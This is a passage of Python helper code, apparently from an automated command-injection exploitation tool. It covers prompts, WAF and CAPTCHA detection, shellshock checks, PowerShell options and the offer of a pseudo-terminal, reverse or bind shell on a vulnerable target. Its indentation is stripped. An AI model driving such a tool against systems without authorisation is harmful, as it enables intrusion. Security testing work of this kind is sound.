settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True
if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT:
if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST:
settings.CUSTOM_INJECTION_MARKER = True
else:
settings.CUSTOM_HEADER_INJECTION = True
return False
if settings.CUSTOM_INJECTION_MARKER:
while True:
message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". "
message += "Do you want to process it? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
return True
elif procced_option in settings.CHOICE_NO:
return False
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
"""
"""
def skipping_technique(technique, injection_type, state):
if settings.VERBOSITY_LEVEL != 0 and state != True:
debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
"""
Skipping of further tests.
"""
def keep_testing_others(filename, url):
if not settings.LOAD_SESSION:
if settings.SKIP_COMMAND_INJECTIONS:
while True:
message = "Do you want to keep testing the others? [y/N] > "
procced_option = common.read_input(message, default="N", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.SKIP_COMMAND_INJECTIONS = True
return
elif procced_option in settings.CHOICE_NO:
quit(filename, url, _ = False)
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
"""
Skipping of further command injection tests.
"""
def skip_testing(filename, url):
if not settings.LOAD_SESSION:
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
_ = " testing command injection techniques"
else:
settings.SKIP_COMMAND_INJECTIONS = False
settings.SKIP_CODE_INJECTIONS = True
_ = " further testing"
while True:
message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.SKIP_COMMAND_INJECTIONS = True
settings.LOAD_SESSION = False
return
elif procced_option in settings.CHOICE_NO:
settings.SKIP_COMMAND_INJECTIONS = False
return
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
"""
The available mobile user agents.
"""
def mobile_user_agents():
menu.mobile_user_agents()
while True:
message = "Which smartphone do you want to imitate through HTTP User-Agent header? > "
mobile_user_agent = common.read_input(message, default="1", check_batch=True)
try:
if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)):
return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
elif mobile_user_agent.lower() == "q":
raise SystemExit()
else:
common.invalid_option(mobile_user_agent)
pass
except ValueError:
common.invalid_option(mobile_user_agent)
pass
"""
Run host OS command(s) when injection point is found.
"""
def alert():
if settings.ALERT:
info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
process = subprocess.Popen(menu.options.alert, shell=True)
process.wait()
except Exception as e:
err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
"""
Check for HTTP Method
"""
def check_http_method(url):
if settings.CRAWLING:
http_request_method = settings.HTTPMETHOD.GET
elif menu.options.method:
http_request_method = menu.options.method.upper()
elif isinstance(url, str) and settings.INJECT_TAG in url:
http_request_method = settings.HTTPMETHOD.GET
else:
if settings.USER_DEFINED_POST_DATA:
http_request_method = settings.HTTPMETHOD.POST
else:
http_request_method = settings.HTTPMETHOD.GET
return http_request_method
"""
Quit
"""
def quit(filename, url, _):
if settings.LOAD_SESSION:
logs.logs_notification(filename)
logs.print_logs_notification(filename, url)
common.show_http_error_codes()
if _:
raise exit()
else:
raise SystemExit()
"""
User aborted procedure
"""
def user_aborted(filename, url):
abort_msg = "User aborted procedure "
abort_msg += "during the " + assessment_phase()
abort_msg += " phase (Ctrl-C was pressed)."
settings.print_data_to_stdout(settings.print_abort_msg(abort_msg))
raise exit()
"""
Connection exceptions
"""
def connection_exceptions(err_msg):
requests.request_failed(err_msg)
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
time.sleep(settings.DELAY_RETRY)
if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)):
warn_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if not settings.VALID_URL :
if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS:
raise SystemExit()
"""
check for not declared cookie(s)
"""
def not_declared_cookies(response):
try:
set_cookie_header = []
for response_header in response.getheaders():
if settings.SET_COOKIE in response_header:
_ = re.search(r'([^;]+);?', response_header[1])
if _:
if _.group(1).split("=")[0] not in menu.options.cookie:
set_cookie_header.append(_.group(1))
candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header)
if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False:
settings.DECLARED_COOKIES = True
if menu.options.cookie:
menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate
settings.DECLARED_COOKIES = False
else:
if settings.CRAWLED_SKIPPED_URLS_NUM != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
while True:
message = "You have not declared cookie(s), while "
message += "server wants to set its own ('"
message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate))
message += "'). Do you want to use those [Y/n] > "
set_cookies = common.read_input(message, default="Y", check_batch=True)
if set_cookies in settings.CHOICE_YES:
menu.options.cookie = candidate
break
elif set_cookies in settings.CHOICE_NO:
settings.DECLARED_COOKIES = False
break
elif set_cookies in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(set_cookies)
pass
except (AttributeError, KeyError, TypeError):
pass
"""
Tab Autocompleter
"""
def tab_autocompleter():
try:
# MacOSX tab compliter
if 'libedit' in readline.__doc__:
readline.parse_and_bind("bind ^I rl_complete")
else:
readline.parse_and_bind("tab: complete")
# Tab compliter
readline.set_completer(menu.tab_completer)
except (TypeError, AttributeError) as e:
error_msg = "Failed while trying to use platform's readline library."
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
"""
Load commands from history.
"""
def load_cmd_history():
try:
cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY)
if os.path.exists(cli_history):
readline.read_history_file(cli_history)
except (IOError, AttributeError, UnicodeError) as e:
warn_msg = "There was a problem loading the history file '" + cli_history + "'."
if settings.IS_WINDOWS:
warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Save command history.
"""
def save_cmd_history():
try:
cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY)
if os.path.exists(cli_history):
readline.set_history_length(settings.MAX_HISTORY_LENGTH)
readline.write_history_file(cli_history)
except (IOError, AttributeError) as e:
warn_msg = "There was a problem writing the history file '" + cli_history + "'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Testing technique (title)
"""
def testing_technique_title(injection_type, technique):
if settings.VERBOSITY_LEVEL != 0:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
"""
Injection process (percent)
"""
def injection_process(injection_type, technique, percent):
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
"""
Percentage calculation
"""
def percentage_calculation(i, total):
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
return percent, float_percent
"""
Print percentage calculation
"""
def print_percentage(float_percent, no_result, shell):
if float(float_percent) == 100:
if no_result:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(float_percent) + "%)"
elif shell:
percent = settings.info_msg
else:
percent = ".. (" + str(float_percent) + "%)"
return percent
"""
Get value inside boundaries.
"""
def get_value_value_inside_boundaries(value):
try:
value = re.search(settings.VALUE_BOUNDARIES, value).group(1)
except Exception as e:
pass
return value
"""
Check value inside boundaries.
"""
def value_inside_boundaries(parameter, http_request_method):
try:
if isinstance(parameter, str):
value_inside_boundaries = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter).group()
if value_inside_boundaries:
pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2]
if pcre_mod_value not in parameter:
while True:
message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries."
message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'"
message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] > "
modifier_check = common.read_input(message, default="Y", check_batch=True)
if modifier_check in settings.CHOICE_YES:
parameter = parameter.replace(value_inside_boundaries, pcre_mod_value)
break
elif modifier_check in settings.CHOICE_NO:
break
elif modifier_check in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(modifier_check)
pass
value = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries).group(1)
if value:
value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR)
while True:
message = "Do you want to inject the provided value '" + value + "' inside boundaries?"
message += " ('" + value + "') [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.INJECT_INSIDE_BOUNDARIES = True
parameter = parameter.replace(value_inside_boundaries, value)
break
elif procced_option in settings.CHOICE_NO:
settings.INJECT_INSIDE_BOUNDARIES = False
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
except Exception as e:
pass
return parameter
"""
Ignoring the anti-CSRF parameter(s).
"""
def ignore_anticsrf_parameter(parameter):
if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES):
if not any(parameter for token in settings.TESTABLE_PARAMETERS_LIST):
if (len(parameter.split("="))) == 2:
info_msg = "Ignoring the parameter '" + parameter.split("=")[0]
info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
return True
"""
Ignoring the Google analytics cookie parameter.
"""
def ignore_google_analytics_cookie(cookie):
if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX):
if (len(cookie.split("="))) == 2:
info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
return True
"""
Fix for %0a, %0d%0a separators
"""
def newline_fixation(payload):
payload = _urllib.parse.unquote(payload)
if settings.END_LINE.CR in payload:
#_ = payload.find("\r\n") + 1
#payload = _urllib.parse.quote(payload[:_]) + payload[_:]
payload = payload.replace(settings.END_LINE.CR,"%0d")
if settings.END_LINE.LF in payload:
#_ = payload.find("\n") + 1
#payload = _urllib.parse.quote(payload[:_]) + payload[_:]
payload = payload.replace(settings.END_LINE.LF,"%0a")
return payload
"""
Page enc/decoding
"""
def page_encoding(response, action):
try:
page = response.read()
except _http_client.IncompleteRead as err_msg:
requests.request_failed(err_msg)
page = err_msg.partial
if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"):
try:
if response.info().get('Content-Encoding') == 'deflate':
data = io.BytesIO(zlib.decompress(page, -15))
elif response.info().get('Content-Encoding') == 'gzip' or \
response.info().get('Content-Encoding') == 'x-gzip':
data = gzip.GzipFile("", "rb", 9, io.BytesIO(page))
page = data.read()
settings.PAGE_COMPRESSION = True
except Exception as e:
if settings.PAGE_COMPRESSION is None:
warn_msg = "Turning off page compression."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
settings.PAGE_COMPRESSION = False
_ = False
try:
if action == "encode" and type(page) == str:
return page.encode(settings.DEFAULT_CODEC, errors="ignore")
else:
return page.decode(settings.DEFAULT_CODEC, errors="ignore")
except (UnicodeEncodeError, UnicodeDecodeError) as err:
err_msg = "The " + str(err).split(":")[0] + ". "
_ = True
except (LookupError, TypeError) as err:
err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". "
_ = True
pass
if _:
err_msg += "You are advised to rerun with"
err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'."
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg)))
raise SystemExit()
"""
Returns header value ignoring the letter case
"""
def get_header(headers, key):
value = None
for _ in (headers or {}):
if _.upper() == key.upper():
value = headers[_]
break
return value
"""
Checks regarding a recognition of generic "your ip has been blocked" messages.
"""
def blocked_ip(page):
if re.search(settings.BLOCKED_IP_REGEX, page):
warn_msg = "It appears that you have been blocked by the target server."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
"""
Checks regarding a potential browser verification protection mechanism.
"""
def browser_verification(page):
if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""):
settings.BROWSER_VERIFICATION = True
warn_msg = "Potential browser verification protection mechanism detected"
if re.search(r"(?i)CloudFlare", page):
warn_msg += " (CloudFlare)."
else:
warn_msg += "."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
"""
Checks regarding a potential CAPTCHA protection mechanism.
"""
def captcha_check(page):
if not settings.CAPTCHA_DETECED and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)", page):
if re.search(r"(?i)captcha", match.group(0)):
settings.CAPTCHA_DETECED = True
warn_msg = "Potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)[^<]*CloudFlare", page):
warn_msg += " (CloudFlare)."
else:
warn_msg += "."
if settings.CRAWLING:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
break
"""
Checking the reliability of the used payload message.
"""
def check_for_false_positive_result(false_positive_warning):
info_msg = "Checking if the injection point on "
info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n"
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model"
if settings.VERBOSITY_LEVEL != 0:
warn_msg = warn_msg + ".\n"
else:
warn_msg = warn_msg +", please wait..."
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
"""
False positive or unexploitable injection point detected.
"""
def unexploitable_point():
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
warn_msg = "False positive or unexploitable injection point has been detected."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
"""
Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase.
"""
def total_of_requests():
debug_msg = "Identified the following injection point with "
debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
"""
Url decode specific chars of the provided payload.
"""
def url_decode(payload):
rep = {
"%20": " ",
"%2B": "+",
"\n": "\\n"
}
rep = dict((re.escape(k), v) for k, v in rep.items())
pattern = re.compile("|".join(rep.keys()))
payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload)
return payload
"""
Check current assessment phase.
"""
def assessment_phase():
if settings.DETECTION_PHASE:
if settings.CRAWLING_PHASE:
return "crawling"
else:
return "detection"
else:
return "exploitation"
"""
Procced to the next attack vector.
"""
def next_attack_vector(technique, go_back):
if not settings.LOAD_SESSION:
while True:
message = "Do you want to continue with testing the " + technique + "? [y/N] > "
next_attack_vector = common.read_input(message, default="N", check_batch=True)
if next_attack_vector in settings.CHOICE_YES:
# Check injection state
assessment_phase()
return True
elif next_attack_vector in settings.CHOICE_NO:
return False
elif next_attack_vector in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(next_attack_vector)
pass
"""
Fix single / double quote escaping.
"""
def escaped_cmd(cmd):
if "\\\"" in cmd :
cmd = cmd.replace("\\\"","\"")
if "\'" in cmd :
cmd = cmd.replace("\'","'")
if r"\$" in cmd :
cmd = cmd.replace(r"\$","$")
return cmd
"""
Removing the first and/or last line of the html content (in case there are/is empty).
"""
def remove_empty_lines(content):
try:
if content[0] == "\n":
content = content[1:content.rfind("\n")]
if content[-1] == "\n":
content = content[:content.rfind("\n")]
except IndexError:
pass
return content
"""
Enable pseudo-terminal shell
"""
def enable_shell(url):
message = ""
if settings.LOAD_SESSION:
message = "Resumed "
message += settings.CHECKING_PARAMETER
if settings.LOAD_SESSION:
message += " injection point from stored session"
else:
message += " is vulnerable"
message += ". Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.CRAWLING:
settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
return gotshell
"""
Check 'os_shell' options
"""
def check_os_shell_options(cmd, technique, go_back, no_result):
if cmd in settings.SHELL_OPTIONS:
if cmd == "?":
menu.os_shell_options()
elif cmd == "back":
if next_attack_vector(technique, go_back) == True:
return True
else:
return False
else:
return cmd
"""
Procced with file-based semiblind command injection technique,
once the user provides the path of web server's root directory.
"""
def procced_with_file_based_technique():
while True:
message = "Due to the provided '--web-root' option,"
message += " do you want to procced with the (semi-blind) "
message += "file-based injection technique? [y/N] > "
enable_fb = common.read_input(message, default="N", check_batch=True)
if enable_fb in settings.CHOICE_YES:
return True
elif enable_fb in settings.CHOICE_NO:
return False
elif enable_fb in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_fb)
pass
"""
Check 'reverse_tcp' options
"""
def check_reverse_tcp_options(reverse_tcp_option):
if reverse_tcp_option == False:
return 0
elif reverse_tcp_option == "back":
return 1
elif reverse_tcp_option == "os_shell":
return 2
elif reverse_tcp_option == "bind_tcp":
return 3
"""
Check 'bind_tcp' options
"""
def check_bind_tcp_options(bind_tcp_option):
if bind_tcp_option == False:
return 0
elif bind_tcp_option == "back":
return 1
elif bind_tcp_option == "os_shell":
return 2
elif bind_tcp_option == "reverse_tcp":
return 3
"""
Ignore error messages and continue the tests.
"""
def continue_tests(err):
# Ignoring (problematic) HTTP error codes.
if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE):
return True
# Possible WAF/IPS
try:
if (str(err.code) == settings.FORBIDDEN_ERROR or \
str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \
not menu.options.skip_waf and \
not settings.HOST_INJECTION :
warn_msg = "It seems that target is protected by some kind of WAF/IPS."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
settings.WAF_ENABLED = True
message = ""
if str(err.code) == settings.NOT_FOUND_ERROR:
message = "It is not recommended to continue in this kind of cases. "
if settings.START_SCANNING and settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
while True:
message += "Do you want to ignore the response HTTP error code '" + str(err.code)
message += "' and continue the tests? [Y/n] > "
continue_tests = common.read_input(message, default="Y", check_batch=True)
if continue_tests in settings.CHOICE_YES:
settings.IGNORE_CODE.append(err.code)
return True
elif continue_tests in settings.CHOICE_NO:
return False
elif continue_tests in settings.CHOICE_QUIT:
return False
else:
common.invalid_option(continue_tests)
pass
except AttributeError:
pass
except KeyboardInterrupt:
raise
"""
Check if option is unavailable
"""
def unavailable_option(check_option):
warn_msg = "The option '" + check_option + "' "
warn_msg += "is not yet supported Windows targets."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Transformation of separators if time-based injection
"""
def time_based_separators(separator, http_request_method):
if separator == "||" or separator == "&&" :
separator = separator[:1]
if menu.options.data:
separator = _urllib.parse.quote(separator)
return separator
"""
Information message if platform does not have
GNU 'readline' module installed.
"""
def no_readline_module():
err_msg = "It seems that your platform does "
err_msg += "not have GNU 'readline' module installed."
err_msg += " Download the"
if settings.IS_WINDOWS:
err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead."
elif settings.PLATFORM == "mac":
err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
"""
Check for incompatible OS (i.e Unix).
"""
def ps_incompatible_os():
if not settings.TARGET_OS == settings.OS.WINDOWS:
warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
return True
"""
Check if PowerShell is enabled.
"""
def ps_check():
if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords:
if settings.VERBOSITY_LEVEL != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
while True:
message = "The payloads in some options that you "
message += "have chosen are requiring the use of powershell. "
message += "Do you want to use the \"--ps-version\" flag "
message += "to ensure that is enabled? [Y/n] > "
ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
menu.options.ps_version = True
break
elif ps_check in settings.CHOICE_NO:
break
elif ps_check in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(ps_check)
pass
"""
If PowerShell is disabled.
"""
def ps_check_failed():
while True:
message = "Do you want to ignore the above warning "
message += "and continue the procedure? [Y/n] > "
ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
break
elif ps_check in settings.CHOICE_NO:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
common.invalid_option(ps_check)
pass
"""
Check if CGI scripts (shellshock injection).
"""
def check_CGI_scripts(url):
try:
CGI_SCRIPTS = []
if not os.path.isfile(settings.CGI_SCRIPTS ):
err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found"
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(settings.CGI_SCRIPTS ) == 0:
err_msg = "The " + settings.CGI_SCRIPTS + " list is empty."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
with open(settings.CGI_SCRIPTS , "r") as f:
for line in f:
line = line.strip()
CGI_SCRIPTS.append(line)
except IOError:
err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
_ = False
for cgi_script in CGI_SCRIPTS:
if cgi_script in url:
info_msg = "Heuristic (basic) tests shows that target URL might contain a script "
info_msg += "vulnerable to shellshock. "
_ = True
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
while True:
message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > "
shellshock_check = common.read_input(message, default="Y", check_batch=True)
if shellshock_check in settings.CHOICE_YES:
menu.options.shellshock = True
break
elif shellshock_check in settings.CHOICE_NO:
menu.options.shellshock = False
break
elif shellshock_check in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(shellshock_check)
pass
if not _:
menu.options.shellshock = False
def check_url(url):
try:
return _urllib.parse.urlsplit(url)
except ValueError as ex:
err_msg = "Invalid target URL has been given. "
err_msg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') "
err_msg += "in the hostname part."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check if http / https.
"""
def check_http_s(url):
url_split = check_url(url)
if url_split.username and url_split.password and "@" in url_split.netloc:
url = url.replace(url_split.netloc,url_split.netloc.split("@")[1])
if settings.SINGLE_WHITESPACE in url:
url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
if not menu.options.proxy and (_urllib.parse.urlparse(url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy):
menu.options.ignore_proxy = True
if settings.CHECK_INTERNET:
url = settings.CHECK_INTERNET_ADDRESS
else:
if re.search(r'^(?:http)s?://', url, re.I):
if not re.search(r"^(http|ws)s?://", url, re.I):
if re.search(r":443\b", url):
url = "https://" + url
else:
url = "http://" + url
settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https"
else:
err_msg = "Invalid target URL has been given. "
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if _urllib.parse.urlparse(url).scheme != settings.SCHEME:
if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0:
debug_msg = "Forcing usage of SSL/HTTPS requests."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME)
return url
"""
Checking connection (resolving hostname).
"""
def check_connection(url):
hostname = _urllib.parse.urlparse(url).hostname or ''
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname):
if not any((menu.options.proxy, menu.options.tor, menu.options.offline)):
try:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Resolving hostname '" + hostname + "'."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
socket.getaddrinfo(hostname, None)
except socket.gaierror:
err_msg = "Host '" + hostname + "' does not exist."
if not settings.MULTI_TARGETS:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except socket.error:
err_msg = "Problem occurred while "
err_msg += "resolving a host name '" + hostname + "'"
except UnicodeError:
err_msg = "Problem occurred while "
err_msg += "handling a host name '" + hostname + "'"
if not settings.MULTI_TARGETS:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Force the user-defined operating system.
"""
def user_defined_os():
if menu.options.os:
if menu.options.os.lower() == "windows":
settings.TARGET_OS = settings.OS.WINDOWS
return True
elif menu.options.os.lower() == "unix":
return True
else:
err_msg = "You defined wrong value '" + menu.options.os + "' "
err_msg += "for operation system. The value, must be 'Windows' or 'Unix'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Define the target operating system.
"""
def define_target_os():
# If "--shellshock" option is provided then, by default is a Linux/Unix operating system.
if menu.options.shellshock:
return
else:
while True:
message = "Do you recognise the server's underlying operating system? "
message += "[(N)o/(u)nix-like/(w)indows/(q)uit] > "
got_os = common.read_input(message, default="N", check_batch=True)
if got_os.lower() in settings.CHOICE_OS :
if got_os.lower() == "u":
return
elif got_os.lower() == "w":
settings.TARGET_OS = settings.OS.WINDOWS
return
elif got_os.lower() == "n":
settings.CHECK_BOTH_OS = True
return
elif got_os.lower() == "q":
raise SystemExit()
else:
common.invalid_option(got_os)
pass
"""
Decision if the user-defined operating system name,
is different than the one identified by heuristics.
"""
def identified_os():
if settings.IGNORE_IDENTIFIED_OS == None:
warn_msg = "Identified different operating system (i.e. '"
warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
message = "How do you want to proceed? [(C)ontinue/(s)kip] > "
proceed_option = common.read_input(message, default="S", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "c":
settings.IGNORE_IDENTIFIED_OS = True
return settings.IGNORE_IDENTIFIED_OS
elif proceed_option.lower() == "s":
settings.IGNORE_IDENTIFIED_OS = False
return settings.IGNORE_IDENTIFIED_OS
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
"""
Checking all required third-party library dependencies.
"""
def third_party_dependencies():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Checking all required third-party library dependencies."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
try:
import sqlite3
except ImportError:
err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library "
err_msg += "in order to store previous injection points and commands. "
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
import readline
except (ImportError, AttributeError):
if settings.IS_WINDOWS:
try:
import pyreadline
except ImportError:
err_msg = "The 'pyreadline' (third-party) library is required "
err_msg += "in order to be able to take advantage of the TAB "
err_msg += "completion and history support features."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
elif settings.PLATFORM == "posix":
try:
import gnureadline
except ImportError:
err_msg = "The 'gnureadline' (third-party) library is required "
err_msg += "in order to be able to take advantage of the TAB "
err_msg += "completion and history support features."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
pass
"""
Print the authentiation error message.
"""
def http_auth_err_msg():
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")"
err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)"
err_msg += " and continue tests without providing valid credentials."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Error while accessing session file
"""
def error_loading_session_file():
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
EOFError
"""
def EOFError_err_msg():
if settings.STDIN_PARSING:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
"""
Message regarding unexpected time delays
"""
def time_delay_recommendation():
warn_msg = "Due to unexpected time delays, it is highly "
